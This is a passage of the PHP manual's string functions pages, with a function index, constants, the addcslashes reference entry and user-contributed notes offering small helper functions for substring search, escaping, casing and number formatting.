    • strip_tags — Strip HTML and PHP tags from a string
    • stripcslashes — Un-quote string quoted with addcslashes
    • stripos — Find the position of the first occurrence of a case-insensitive substring in a string
    • stripslashes — Un-quotes a quoted string
    • stristr — Case-insensitive strstr
    • strlen — Get string length
    • strnatcasecmp — Case insensitive string comparisons using a "natural order" algorithm
    • strnatcmp — String comparisons using a "natural order" algorithm
    • strncasecmp — Binary safe case-insensitive string comparison of the first n characters
    • strncmp — Binary safe string comparison of the first n characters
    • strpbrk — Search a string for any of a set of characters
    • strpos — Find the position of the first occurrence of a substring in a string
    • strrchr — Find the last occurrence of a character in a string
    • strrev — Reverse a string
    • strripos — Find the position of the last occurrence of a case-insensitive substring in a string
    • strrpos — Find the position of the last occurrence of a substring in a string
    • strspn — Finds the length of the initial segment of a string consisting entirely of characters contained within a given mask.
    • strstr — Find the first occurrence of a string
    • strtok — Tokenize string
    • strtolower — Make a string lowercase
    • strtoupper — Make a string uppercase
    • strtr — Translate characters or replace substrings
    • substr_compare — Binary safe comparison of two strings from an offset, up to length characters
    • substr_count — Count the number of substring occurrences
    • substr_replace — Replace text within a portion of a string
    • substr — Return part of a string
    • trim — Strip whitespace (or other characters) from the beginning and end of a string
    • ucfirst — Make a string's first character uppercase
    • ucwords — Uppercase the first character of each word in a string
    • vfprintf — Write a formatted string to a stream
    • vprintf — Output a formatted string
    • vsprintf — Return a formatted string
    • wordwrap — Wraps a string to a given number of characters
  • Changelog

User Contributed Notes

There are no user contributed notes for this page.


Introduction

These functions all manipulate strings in various ways. Some more specialized sections can be found in the regular expression and URL handling sections.

For information on how strings behave, especially with regard to usage of single quotes, double quotes, and escape sequences, see the Strings entry in the Types section of the manual.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

CRYPT_SALT_LENGTH integer
CRYPT_STD_DES integer
CRYPT_EXT_DES integer
CRYPT_MD5 integer
CRYPT_BLOWFISH integer
HTML_SPECIALCHARS (integer)
HTML_ENTITIES (integer)
ENT_COMPAT (integer)
ENT_QUOTES (integer)
ENT_NOQUOTES (integer)
ENT_IGNORE (integer)
ENT_SUBSTITUTE (integer)
ENT_DISALLOWED (integer)
ENT_HTML401 (integer)
ENT_XML1 (integer)
ENT_XHTML (integer)
ENT_HTML5 (integer)
CHAR_MAX (integer)
LC_CTYPE (integer)
LC_NUMERIC (integer)
LC_TIME (integer)
LC_COLLATE (integer)
LC_MONETARY (integer)
LC_ALL (integer)
LC_MESSAGES (integer)
STR_PAD_LEFT (integer)
STR_PAD_RIGHT (integer)
STR_PAD_BOTH (integer)

User Contributed Notes

There are no user contributed notes for this page.


String Functions

See Also

For even more powerful string handling and manipulating functions take a look at the POSIX regular expression functions and the Perl compatible regular expression functions.

Table of Contents

  • addcslashes — Quote string with slashes in a C style
  • addslashes — Quote string with slashes
  • bin2hex — Convert binary data into hexadecimal representation
  • chop — Alias of rtrim
  • chr — Return a specific character
  • chunk_split — Split a string into smaller chunks
  • convert_cyr_string — Convert from one Cyrillic character set to another
  • convert_uudecode — Decode a uuencoded string
  • convert_uuencode — Uuencode a string
  • count_chars — Return information about characters used in a string
  • crc32 — Calculates the crc32 polynomial of a string
  • crypt — One-way string hashing
  • echo — Output one or more strings
  • explode — Split a string by string
  • fprintf — Write a formatted string to a stream
  • get_html_translation_table — Returns the translation table used by htmlspecialchars and htmlentities
  • hebrev — Convert logical Hebrew text to visual text
  • hebrevc — Convert logical Hebrew text to visual text with newline conversion
  • hex2bin — Decodes a hexadecimally encoded binary string
  • html_entity_decode — Convert all HTML entities to their applicable characters
  • htmlentities — Convert all applicable characters to HTML entities
  • htmlspecialchars_decode — Convert special HTML entities back to characters
  • htmlspecialchars — Convert special characters to HTML entities
  • implode — Join array elements with a string
  • join — Alias of implode
  • lcfirst — Make a string's first character lowercase
  • levenshtein — Calculate Levenshtein distance between two strings
  • localeconv — Get numeric formatting information
  • ltrim — Strip whitespace (or other characters) from the beginning of a string
  • md5_file — Calculates the md5 hash of a given file
  • md5 — Calculate the md5 hash of a string
  • metaphone — Calculate the metaphone key of a string
  • money_format — Formats a number as a currency string
  • nl_langinfo — Query language and locale information
  • nl2br — Inserts HTML line breaks before all newlines in a string
  • number_format — Format a number with grouped thousands
  • ord — Return ASCII value of character
  • parse_str — Parses the string into variables
  • print — Output a string
  • printf — Output a formatted string
  • quoted_printable_decode — Convert a quoted-printable string to an 8 bit string
  • quoted_printable_encode — Convert a 8 bit string to a quoted-printable string
  • quotemeta — Quote meta characters
  • rtrim — Strip whitespace (or other characters) from the end of a string
  • setlocale — Set locale information
  • sha1_file — Calculate the sha1 hash of a file
  • sha1 — Calculate the sha1 hash of a string
  • similar_text — Calculate the similarity between two strings
  • soundex — Calculate the soundex key of a string
  • sprintf — Return a formatted string
  • sscanf — Parses input from a string according to a format
  • str_getcsv — Parse a CSV string into an array
  • str_ireplace — Case-insensitive version of str_replace.
  • str_pad — Pad a string to a certain length with another string
  • str_repeat — Repeat a string
  • str_replace — Replace all occurrences of the search string with the replacement string
  • str_rot13 — Perform the rot13 transform on a string
  • str_shuffle — Randomly shuffles a string
  • str_split — Convert a string to an array
  • str_word_count — Return information about words used in a string
  • strcasecmp — Binary safe case-insensitive string comparison
  • strchr — Alias of strstr
  • strcmp — Binary safe string comparison
  • strcoll — Locale based string comparison
  • strcspn — Find length of initial segment not matching mask
  • strip_tags — Strip HTML and PHP tags from a string
  • stripcslashes — Un-quote string quoted with addcslashes
  • stripos — Find the position of the first occurrence of a case-insensitive substring in a string
  • stripslashes — Un-quotes a quoted string
  • stristr — Case-insensitive strstr
  • strlen — Get string length
  • strnatcasecmp — Case insensitive string comparisons using a "natural order" algorithm
  • strnatcmp — String comparisons using a "natural order" algorithm
  • strncasecmp — Binary safe case-insensitive string comparison of the first n characters
  • strncmp — Binary safe string comparison of the first n characters
  • strpbrk — Search a string for any of a set of characters
  • strpos — Find the position of the first occurrence of a substring in a string
  • strrchr — Find the last occurrence of a character in a string
  • strrev — Reverse a string
  • strripos — Find the position of the last occurrence of a case-insensitive substring in a string
  • strrpos — Find the position of the last occurrence of a substring in a string
  • strspn — Finds the length of the initial segment of a string consisting entirely of characters contained within a given mask.
  • strstr — Find the first occurrence of a string
  • strtok — Tokenize string
  • strtolower — Make a string lowercase
  • strtoupper — Make a string uppercase
  • strtr — Translate characters or replace substrings
  • substr_compare — Binary safe comparison of two strings from an offset, up to length characters
  • substr_count — Count the number of substring occurrences
  • substr_replace — Replace text within a portion of a string
  • substr — Return part of a string
  • trim — Strip whitespace (or other characters) from the beginning and end of a string
  • ucfirst — Make a string's first character uppercase
  • ucwords — Uppercase the first character of each word in a string
  • vfprintf — Write a formatted string to a stream
  • vprintf — Output a formatted string
  • vsprintf — Return a formatted string
  • wordwrap — Wraps a string to a given number of characters

User Contributed Notes

str at maphpia dot com 04-Jul-2013 05:19
I was looking for a function to find the common substring in 2 different strings. I tried both the mb_string_intersect and string_intersect functions listed here but didn't work for me. I found the algorithm at http://en.wikibooks.org/wiki/Algorithm_implementation/Strings/Longest_common_substring#PHP so here I post you the function

<?php

/**
 * Finds the matching string between 2 strings
 *
 * @param string $string1
 * @param string $string2
 * @param number $minChars
 *
 * @return NULL|string
 *
 * @link http://en.wikibooks.org/wiki/Algorithm_implementation/Strings/Longest_common_substring#PHP
 */
function string_intersect($string_1, $string_2)
{
    $string_1_length = strlen($string_1);
    $string_2_length = strlen($string_2);
    $return          = "";

    if ($string_1_length === 0 || $string_2_length === 0) {
        // No similarities
        return $return;
    }

    $longest_common_subsequence = array();

    // Initialize the CSL array to assume there are no similarities
    for ($i = 0; $i < $string_1_length; $i++) {
        $longest_common_subsequence[$i] = array();
        for ($j = 0; $j < $string_2_length; $j++) {
            $longest_common_subsequence[$i][$j] = 0;
        }
    }

    $largest_size = 0;

    for ($i = 0; $i < $string_1_length; $i++) {
        for ($j = 0; $j < $string_2_length; $j++) {
            // Check every combination of characters
            if ($string_1[$i] === $string_2[$j]) {
                // These are the same in both strings
                if ($i === 0 || $j === 0) {
                    // It's the first character, so it's clearly only 1 character long
                    $longest_common_subsequence[$i][$j] = 1;
                } else {
                    // It's one character longer than the string from the previous character
                    $longest_common_subsequence[$i][$j] = $longest_common_subsequence[$i - 1][$j - 1] + 1;
                }

                if ($longest_common_subsequence[$i][$j] > $largest_size) {
                    // Remember this as the largest
                    $largest_size = $longest_common_subsequence[$i][$j];
                    // Wipe any previous results
                    $return       = "";
                    // And then fall through to remember this new value
                }

                if ($longest_common_subsequence[$i][$j] === $largest_size) {
                    // Remember the largest string(s)
                    $return = substr($string_1, $i - $largest_size + 1, $largest_size);
                }
            }
            // Else, $CSL should be set to 0, which it was already initialized to
        }
    }

    // Return the list of matches
    return $return;
}
Tomek Rychtyk 09-Feb-2012 06:58
Get the intersection of two strings using array_intersect

<?php

function string_intersect($string1, $string2)
{
    $array1 = $array2 = array();

    for($i = 0, $j = 0, $s1_len = strlen($string1), $s2_len = strlen($string2);($i < $s1_len) || ($j < $s2_len); $i++, $j++) {
        if($i < $s1_len) {
            $array1[] = $string1[$i];
        }
        if($j < $s2_len) {
            $array2[] = $string2[$j];
        }
    }

    return implode('', array_intersect($array1, $array2));
}

?>

For more advanced comparison you can use array_uintersect as well.
Stephen Dewey 20-Nov-2008 02:33
If you want a function to return all text in a string up to the Nth occurrence of a substring, try the below function.

Works in PHP >= 5.

(Pommef provided another sample function for this purpose below, but I believe it is incorrect.)

<?php

// Returns all of $haystack up to (but excluding) the $n_occurrence occurrence of $needle. Therefore:
//        If there are < $n_occurrence occurrences of $needle in $haystack, the entire string will be returned.
//        If there are >= $n_occurrence occurrences of $needle in $haystack, the returned string will end before the $n_occurrence'th needle.
// This function only makes sense for $n_occurrence >= 1
function nsubstr($needle, $haystack, $n_occurrence)
{
    // After exploding by $needle, every entry in $arr except (possibly) part of the last entry should have its content returned.
    $arr = explode($needle,$haystack,$n_occurrence);
    // Examine last entry in $arr. If it contains $needle, cut out all text except for the text before $needle.
    $last = count($arr) - 1;
    $pos_in_last = strpos($arr[$last],$needle);

    if ($pos_in_last !== false)
        $arr[$last] = substr($arr[$last],0,$pos_in_last);

    return implode($needle,$arr);
}

$string = 'd24jkdslgjldk2424jgklsjg24jskgldjk24';

print 'S:  ' . $string . '<br>';
print '1: ' . nsubstr('24',$string,1) . '<br>';
print '2: ' . nsubstr('24',$string,2) . '<br>';
print '3: ' . nsubstr('24',$string,3) . '<br>';
print '4: ' . nsubstr('24',$string,4) . '<br>';
print '5: ' . nsubstr('24',$string,5) . '<br>';
print '6: ' . nsubstr('24',$string,6) . '<br>';
print '7: ' . nsubstr('24',$string,7) . '<br>';

/*
// prints:
S: d24jkdslgjldk2424jgklsjg24jskgldjk24
1: d
2: d24jkdslgjldk
3: d24jkdslgjldk24
4: d24jkdslgjldk2424jgklsjg
5: d24jkdslgjldk2424jgklsjg24jskgldjk
6: d24jkdslgjldk2424jgklsjg24jskgldjk24
7: d24jkdslgjldk2424jgklsjg24jskgldjk24
*/

?>

Note that this function can be combined with wordwrap() to accomplish a routine but fairly difficult web design goal, namely, limiting inline HTML text to a certain number of lines. wordwrap() can break your string using <br>, and then you can use this function to only return text up to the N'th <br>.

You will still have to make a conservative guess of the max number of characters per line with wordwrap(), but you can be more precise than if you were simply truncating a multiple-line string with substr().

See example:

<?php

$text = 'Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Pellentesque id massa. Duis sollicitudin ipsum vel diam. Aliquam pulvinar sagittis felis. Nullam hendrerit semper elit. Donec convallis mollis risus. Cras blandit mollis turpis. Vivamus facilisis, sapien at tincidunt accumsan, arcu dolor suscipit sem, tristique convallis ante ante id diam. Curabitur mollis, lacus vel gravida accumsan, enim quam condimentum est, vitae rutrum neque magna ac enim.';

$wrapped_text = wordwrap($text,100,'<br>',true);

$three_lines = nsubstr('<br>',$wrapped_text,3);

print '<br><br>' . $three_lines;

$four_lines = nsubstr('<br>',$wrapped_text,4);

print '<br><br>' . $four_lines;

/*
prints:

Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Pellentesque id massa. Duis sollicitudin
ipsum vel diam. Aliquam pulvinar sagittis felis. Nullam hendrerit semper elit. Donec convallis
mollis risus. Cras blandit mollis turpis. Vivamus facilisis, sapien at tincidunt accumsan, arcu

Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Pellentesque id massa. Duis sollicitudin
ipsum vel diam. Aliquam pulvinar sagittis felis. Nullam hendrerit semper elit. Donec convallis
mollis risus. Cras blandit mollis turpis. Vivamus facilisis, sapien at tincidunt accumsan, arcu
dolor suscipit sem, tristique convallis ante ante id diam. Curabitur mollis, lacus vel gravida

*/

?>
Verdauga 20-Mar-2008 03:06
Just a note in regards to bloopletech a few posts down:

The word "and" should not be used when converting numbers to text.  "And" (at least in US English) should only be used to indicate the decimal place.

Example:
1,796,706 => one million, seven hundred ninety-six thousand, seven hundred six.
594,359.34 => five hundred ninety four thousand, three hundred fifty nine and thirty four hundredths
m 27-Jul-2007 02:10
Regarding the code for the function beginsWith($str, $sub), I found that it has problems when only one character is present after the string searched for. I found that this works better instead:

<?php
function beginsWith($str, $sub) {
    return (strncmp($str, $sub, strlen($sub)) == 0);
}
?>
mike &#34;eyes&#34; moe 18-Jun-2007 02:59
Here is a truly random string generator it uses the most common string functions it will work on anywhere.

<?php
    function random_string($max = 20){
        $chars = explode(" ", "a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9");
        for($i = 0; $i < $max; $i++){
            $rnd = array_rand($chars);
            $rtn .= base64_encode(md5($chars[$rnd]));
        }
        return substr(str_shuffle(strtolower($rtn)), 0, $max);
    }
?>
admin at rotarymulundeast dot org 30-Jul-2006 12:16
Here's an easier way to find nth...

function nth($numbex){
  if ($numbex%10 == 1 && $numbex%100 != 11) $sth='st';
  elseif ($numbex%10 == 2 && $numbex%100 != 12) $sth='nd';
  elseif ($numbex%10 == 3 && $numbex%100 != 13) $sth='rd';
  else $sth = 'th';
  return $sth;
}

there is is no need to check if the user has entered a non-integer as we may be using this function for expressing variables as well eg. ith value of x , nth root of z ,etc...
da (dot) blayde (a t) gmail (dot) com 19-Jul-2006 07:52
Sometimes when converting integers to strings, it looks better to have the number spelled out. I wrote this function that converts integers from -999 to 999 into spelled out strings:

function int2str($int=0){
 $doOnes=true;
 $neg=$int<0?true:false;
 $int=abs(round($int));
 $str='';
 switch(strlen($int)){
  case 1:$int='0'.$int;
  case 2:$int='0'.$int;
  case 3:$int.='';break;
  default:return $int;
 }
 switch($int{0}){
  case 1:$str.='one-hundred-';break;
  case 2:$str.='two-hundred-';break;
  case 3:$str.='three-hundred-';break;
  case 4:$str.='four-hundred-';break;
  case 5:$str.='five-hundred-';break;
  case 6:$str.='six-hundred-';break;
  case 7:$str.='seven-hundred-';break;
  case 8:$str.='eight-hundred-';break;
  case 9:$str.='nine-hundred-';break;
 }
 switch($int{1}){
  case 1:
   switch($int{2}){
    case 0:$str.='ten-';break;
    case 1:$str.='eleven-';break;
    case 2:$str.='twelve-';break;
    case 3:$str.='thirteen-';break;
    case 4:$str.='fourteen-';break;
    case 5:$str.='fifteen-';break;
    case 6:$str.='sixteen-';break;
    case 7:$str.='seventeen-';break;
    case 8:$str.='eighteen-';break;
    case 9:$str.='nineteen-';break;
   }
   $doOnes=false;
  break;
  case 2:$str.='twenty-';break;
  case 3:$str.='thirty-';break;
  case 4:$str.='forty-';break;
  case 5:$str.='fifty-';break;
  case 6:$str.='sixty-';break;
  case 7:$str.='seventy-';break;
  case 8:$str.='eighty-';break;
  case 9:$str.='ninety-';break;
 }
 if($doOnes){
  switch($int{2}){
   case 1:$str.='one-';break;
   case 2:$str.='two-';break;
   case 3:$str.='three-';break;
   case 4:$str.='four-';break;
   case 5:$str.='five-';break;
   case 6:$str.='six-';break;
   case 7:$str.='seven-';break;
   case 8:$str.='eight-';break;
   case 9:$str.='nine-';break;
 }}
 $str=substr($str,0,-1);
 if($neg){
  $str='negative '.$str;
 }
 if($int=='000'){
  $str='zero';
 }
 return $str;
}

Hope this helps someone,
-Blayde
administrador(ensaimada)sphoera(punt)com 02-Mar-2006 03:10
I've prepared this simple function to obtain a string delimited between tags (not only XML tags!). Anybody needs something like this?.

<?php

function get_string_between($string, $start, $end){
    $string = " ".$string;
     $ini = strpos($string,$start);
     if ($ini == 0) return "";
     $ini += strlen($start);
     $len = strpos($string,$end,$ini) - $ini;
     return substr($string,$ini,$len);
}

$string = "this [custom] function is useless!!";
echo get_string_between($string,"[","]");
// must return "custom";
?>
more functions at http://www.sphoera.com
SteveRusin 24-Feb-2006 08:00
The functions below:

function beginsWith( $str, $sub )
function endsWith( $str, $sub )

Are correct, but flawed.  You'd need to use the === operator instead:

function beginsWith( $str, $sub ) {
   return ( substr( $str, 0, strlen( $sub ) ) === $sub );
}
function endsWith( $str, $sub ) {
   return ( substr( $str, strlen( $str ) - strlen( $sub ) ) === $sub );
}

Otherwise, endsWith would return "foobar.0" ends with ".0" as well as "0" or "00" or any amount of zeros because numerically .0 does equal 0.
navarr at gmail dot com 21-Dec-2005 03:24
stripos for PHP4.x

<?php
  function stripos($haystack,$needle) {
    return strpos(strtoupper($haystack),strtoupper($needle));
  }
?>
admin at fivestarbuy dot com 21-Oct-2005 06:18
This example lets you parse an unparsed strings variables. Warning: This could cause security leaks if you allow users to pass $variables through this engine. I recommend only using this for your Content Management System.

<?
$mytime=time();
$mydog="My Dog Ate My PHP!";

# Your Parsing String:
$s1 = 'Hyphen Variable Preserving: $mytime, and $mydog';
echo "Before: <br><br>$s1<br><br>";

# Remember, wherever you define this, it will not be defined GLOBAL into the function
# which is why we define it here. Defining it global could lead to security issues.
$vardata=get_defined_vars();

# Parse the string
$s1 = StrParse($s1,$vardata);

echo "After: <br><br>$s1";

function StrParse($str,$vardata) {
# Takes a string, or piece of data, that contains PHP Variables

 # For example, unparsed variables like:  Test using time: $mytime
 # This example shows $mytime, and not the actual variable value.
 # The end result shows the actual variable value of $mytime.

 # This is useful for building a content management system,
 # and directing your variables into your content data,
 # where content is stored in a file or database, unparsed.
 # Of course this could slow down page loads, but it's a good way
 # to parse data from current variables into your loaded new data
 # making it compatible.

# Then the variables are replaced with the actual variable..
$getvarkeys=array_keys($vardata);
$ret=$str;
for ($x=0; $x < count($getvarkeys); $x++) {
    $myvar=$getvarkeys[$x];
    #echo "Variable: " . $myvar . " [" . $vardata[$myvar] . "]<br>";
    $ret=str_replace('$' . $myvar, $vardata[$myvar], $ret);
}
return $ret;

}

?>
18-Oct-2005 12:27
to: james dot d dot baker at gmail dot com

PHP has a builtin function  for doing what your function does,

http://php.net/ucfirst
http://php.net/ucwords
webmaster at cafe-clope dot net 14-Aug-2005 01:40
A comprehensive concatenation function, that works with array and strings

<?php
function str_cat() {
  $args = func_get_args() ;

  // Asserts that every array given as argument is $dim-size.
  // Keys in arrays are stripped off.
  // If no array is found, $dim stays unset.
  foreach($args as $key => $arg) {
    if(is_array($arg)) {
      if(!isset($dim))
        $dim = count($arg) ;
      elseif($dim != count($arg))
        return FALSE ;
      $args[$key] = array_values($arg) ;
    }
  }

  // Concatenation
  if(isset($dim)) {
    $result = array() ;
    for($i=0;$i<$dim;$i++) {
      $result[$i] = '' ;
      foreach($args as $arg)
        $result[$i] .= ( is_array($arg) ? $arg[$i] : $arg ) ;
    }
    return $result ;
  } else {
    return implode($args) ;
  }
}
?>

A simple example :

<?php
str_cat(array(1,2,3), '-', array('foo' => 'foo', 'bar' => 'bar', 'noop' => 'noop')) ;
?>

will return :
Array (
  [0] => 1-foo
  [1] => 2-bar
  [2] => 3-noop
)

More usefull :

<?php
$myget = $_GET ; // retrieving previous $_GET values
$myget['foo'] = 'b a r' ; // changing one value
$myget = str_cat(array_keys($myget), '=', array_map('rawurlencode', array_values($myget))) ;
$querystring = implode(ini_get('arg_separator.output'), $myget)) ;
?>

will return a valid querystring with some values changed.

Note that <?php str_cat('foo', '&', 'bar') ; ?> will return 'foo&bar', while <?php str_cat(array('foo'), '&', 'bar') ; ?> will return array(0 => foo&bar)
t0russ at gmail dot com 14-Jun-2005 07:38
to kristin at greenaple dot on dot ca:
thanx for sharing.
your function in recursive form proved to be slightly faster and it returns false (as it should) when the character is not found instead of number 0:
<?php
function strnposr($haystack, $needle, $occurance, $pos = 0) {
    return ($occurance<2)?strpos($haystack, $needle, $pos):strnposr($haystack,$needle,$occurance-1,strpos($haystack, $needle, $pos) + 1);
}
?>
rh at richardhoward dot net 05-Jun-2005 08:41
<?php
/**
Utility class: static methods for cleaning & escaping untrusted (i.e.
user-supplied) strings.

Any string can (usually) be thought of as being in one of these 'modes':

pure = what the user actually typed / what you want to see on the page /
       what is actually stored in the DB
gpc  = incoming GET, POST or COOKIE data
sql  = escaped for passing safely to RDBMS via SQL (also, data from DB
       queries and file reads if you have magic_quotes_runtime on--which
       is rare)
html = safe for html display (htmlentities applied)

Always knowing what mode your string is in--using these methods to
convert between modes--will prevent SQL injection and cross-site scripting.

This class refers to its own namespace (so it can work in PHP 4--there is no
self keyword until PHP 5). Do not change the name of the class w/o changing
all the internal references.

Example usage: a POST value that you want to query with:
$username = Str::gpc2sql($_POST['username']);
*/

//This sets SQL escaping to use slashes; for Sybase(/MSSQL)-style escaping
// ( ' --> '' ), set to true.
define('STR_SYBASE', false);

class Str {
    function gpc2sql($gpc, $maxLength = false)
    {
        return Str::pure2sql(Str::gpc2pure($gpc), $maxLength);
    }
    function gpc2html($gpc, $maxLength = false)
    {
        return Str::pure2html(Str::gpc2pure($gpc), $maxLength);
    }
    function gpc2pure($gpc)
    {
        if (ini_get('magic_quotes_sybase'))
            $pure = str_replace("''", "'", $gpc);
        else $pure = get_magic_quotes_gpc() ? stripslashes($gpc) : $gpc;
        return $pure;
    }
    function html2pure($html)
    {
        return html_entity_decode($html);
    }
    function html2sql($html, $maxLength = false)
    {
        return Str::pure2sql(Str::html2pure($html), $maxLength);
    }
    function pure2html($pure, $maxLength = false)
    {
        return $maxLength ? htmlentities(substr($pure, 0, $maxLength))
                          : htmlentities($pure);
    }
    function pure2sql($pure, $maxLength = false)
    {
        if ($maxLength) $pure = substr($pure, 0, $maxLength);
        return (STR_SYBASE)
               ? str_replace("'", "''", $pure)
               : addslashes($pure);
    }
    function sql2html($sql, $maxLength = false)
    {
        $pure = Str::sql2pure($sql);
        if ($maxLength) $pure = substr($pure, 0, $maxLength);
        return Str::pure2html($pure);
    }
    function sql2pure($sql)
    {
        return (STR_SYBASE)
               ? str_replace("''", "'", $sql)
               : stripslashes($sql);
    }
}
?>
james dot d dot baker at gmail dot com 27-May-2005 07:45
<?php
/*
Written By James Baker, May 27th 2005

sentenceCase($string);
    $string: The string to convert to sentence case.

Converts a string into proper sentence case (First letter of each sentance capital, all the others smaller)

Example Usage:
echo sentenceCase("HELLO WORLD!!! THIS IS A CAPITALISED SENTENCE. this isn't.");

Returns:
Hello world!!! This is a capitalised sentence. This isn't.
*/

function sentenceCase($s){
    $str = strtolower($s);
    $cap = true;

    for($x = 0; $x < strlen($str); $x++){
        $letter = substr($str, $x, 1);
        if($letter == "." || $letter == "!" || $letter == "?"){
            $cap = true;
        }elseif($letter != " " && $cap == true){
            $letter = strtoupper($letter);
            $cap = false;
        }

        $ret .= $letter;
    }

    return $ret;
}
?>
php at moechofe dot com 26-Apr-2005 03:34
<?php
  /*
  * str_match
  *
  * return a string with only cacacteres defined in a expression return false if the expression is not valid
  *
  * @param $str string the string
  * @param $match the expression based on the class definition off a PCRE regular expression.
  *   the '[', ']', '\' and '^' at class start need to be escaped.
  *   like : -a-z0-9_@.
  */
  function str_match( $str, $match )
  {
    $return = '';
    if( eregi( '(.*)', $match, $class ) )
    {
      $match = '['.$regs[1].']';
      for( $i=0; $i<strlen($str); $i++ )
      if( ereg( '['.$class[1].']', $str[$i] ) )
      $return .= $str{$i};
      return $return;
    }
    else return false;
  }

  /*
  * example
  * accept only alphanum caracteres from the GET/POST parameters 'a'
  */

  if( ! empty($_REQUEST['a']) )
    $_REQUEST['a'] = str_match( $_REQUEST['a'], 'a-zA-Z0-9' );
  else
    $_REQUEST['a'] = 'default';
?>
Pommef 19-Mar-2005 10:15
Example: Give me everything up to the fourth occurance of '/'.

<?php

   $haystack = "/home/username/www/index.php";
   $needle = "/";

   function strnpos($haystack, $needle, $occurance, $pos = 0) {

        $res = implode($needle,$haystack);

        $res = array_slice($res, $pos,  $occurance);

        return explode ($needle,$res);
    }
?>
kristin at greenapple dot on dot ca 02-Jan-2005 05:32
I really searched for a function that would do this as I've seen it in other languages but I couldn't find it here. This is particularily useful when combined with substr() to take the first part of a string up to a certain point.

strnpos() - Find the nth position of needle in haystack.

<?php

    function strnpos($haystack, $needle, $occurance, $pos = 0) {

        for ($i = 1; $i <= $occurance; $i++) {
            $pos = strpos($haystack, $needle, $pos) + 1;
        }
        return $pos - 1;

    }

?>

Example: Give me everything up to the fourth occurance of '/'.

<?php

    $haystack = "/home/username/www/index.php";
    $needle = "/";

    $root_dir = substr($haystack, 0, strnpos($haystack, $needle, 4));

    echo $root_dir;

?>

Returns: /home/username/www

Use this example with the server variable $_SERVER['SCRIPT_NAME'] as the haystack and you can self-discover a document's root directory for the purposes of locating global files automatically!
21-Dec-2004 05:31
In response to hackajar <matt> yahoo <trot> com,

No string-to-array function exists because it is not needed. If you reference a string with an offset like you do with an array, the character at that offset will be return. This is documented in section III.11's "Strings" article under the "String access and modification by character" heading.
andy a t onesandzeros d o t biz 09-Nov-2004 11:54
I use these little doo-dads quite a bit. I just thought I'd share them and maybe save someone a little time. No biggy. :)

// returns true if $str begins with $sub
function beginsWith( $str, $sub ) {
    return ( substr( $str, 0, strlen( $sub ) ) == $sub );
}

// return tru if $str ends with $sub
function endsWith( $str, $sub ) {
    return ( substr( $str, strlen( $str ) - strlen( $sub ) ) == $sub );
}

// trims off x chars from the front of a string
// or the matching string in $off is trimmed off
function trimOffFront( $off, $str ) {
    if( is_numeric( $off ) )
        return substr( $str, $off );
    else
        return substr( $str, strlen( $off ) );
}

// trims off x chars from the end of a string
// or the matching string in $off is trimmed off
function trimOffEnd( $off, $str ) {
    if( is_numeric( $off ) )
        return substr( $str, 0, strlen( $str ) - $off );
    else
        return substr( $str, 0, strlen( $str ) - strlen( $off ) );
}
[tab!] 27-Oct-2004 09:29
//
// string strtrmvistl(  string str, [int maxlen = 64],
//                      [bool right_justify = false],
//                      [string delimter = "<br>\n"])
//
// splits a long string into two chunks (a start and an end chunk)
// of a given maximum length and seperates them by a given delimeter.
// a second chunk can be right-justified within maxlen.
// may be used to 'spread' a string over two lines.
//

function strtrmvistl($str, $maxlen = 64, $right_justify = false, $delimter = "<br>\n") {
    if(($len = strlen($str = chop($str))) > ($maxlen = max($maxlen, 12))) {
        $newstr = substr($str, 0, $maxlen - 3);

        if($len > ($maxlen - 3)) {
            $endlen = min(($len - strlen($newstr)), $maxlen - 3);
            $newstr .= "..." . $delimter;

            if($right_justify)
                $newstr .= str_pad('', $maxlen - $endlen - 3, ' ');

            $newstr .= "..." . substr($str, $len - $endlen);
        }

        return($newstr);
    }

    return($str);
}
terry dot greenlaw at logicalshift dot com 12-Aug-2004 07:52
Here's a simpler "simplest" way to toggle through a set of 1..n colors for web backgrounds:

<?php
$colours = array('#000000', '#808080', '#A0A0A0', '#FFFFFF');

// Get a colour
$color = next($colors) or $color = reset($colors);
?>

The code doesn't need to know anything about the number of elements being cycled through. That way you won't have to tracking down all the code when changing the number of colors or the color values.


Quote string with slashes in a C style

  • « String Functions
  • addslashes »
  • PHP Manual
  • String Functions
  • Quote string with slashes in a C style

addcslashes

(PHP 4, PHP 5)

addcslashes — Quote string with slashes in a C style

Description

string addcslashes ( string $str , string $charlist )

Returns a string with backslashes before characters that are listed in charlist parameter.

Parameters

str

The string to be escaped.

charlist

A list of characters to be escaped. If charlist contains characters \n, \r etc., they are converted in C-like style, while other non-alphanumeric characters with ASCII codes lower than 32 and higher than 126 converted to octal representation.

When you define a sequence of characters in the charlist argument make sure that you know what characters come between the characters that you set as the start and end of the range.

<?php
echo addcslashes('foo[ ]', 'A..z');
// output:  \f\o\o\[ \]
// All upper and lower-case letters will be escaped
// ... but so will the [\]^_`
?>
Also, if the first character in a range has a higher ASCII value than the second character in the range, no range will be constructed. Only the start, end and period characters will be escaped. Use the ord() function to find the ASCII value for a character.
<?php
echo addcslashes("zoo['.']", 'z..A');
// output:  \zoo['\.']
?>

Be careful if you choose to escape characters 0, a, b, f, n, r, t and v. They will be converted to \0, \a, \b, \f, \n, \r, \t and \v, all of which are predefined escape sequences in C. Many of these sequences are also defined in other C-derived languages, including PHP, meaning that you may not get the desired result if you use the output of addcslashes() to generate code in those languages with these characters defined in charlist.

Return Values

Returns the escaped string.

Changelog

Version | Description
5.2.5 | The escape sequences \v and \f were added.

Examples

charlist like "\0..\37", which would escape all characters with ASCII code between 0 and 31.

Example #1 addcslashes() example

<?php
$escaped = addcslashes($not_escaped, "\0..\37!@\177..\377");
?>

See Also

  • stripcslashes() - Un-quote string quoted with addcslashes
  • stripslashes() - Un-quotes a quoted string
  • addslashes() - Quote string with slashes
  • htmlspecialchars() - Convert special characters to HTML entities
  • quotemeta() - Quote meta characters

User Contributed Notes

glitchmr at myopera dot com 03-Jul-2013 03:55
If you need JS escaping function, use json_encode() instead.
stein at visibone dot com 13-Nov-2007 12:16
addcslashes() treats NUL as a string terminator:

   assert("any"  === addcslashes("any\0body", "-"));

unless you order it backslashified:

   assert("any\\000body" === addcslashes("any\0body", "\0"));

(Uncertain whether this should be declared a bug or simply that addcslashes() is not binary-safe, whatever that means.)
Johannes 27-Oct-2007 02:34
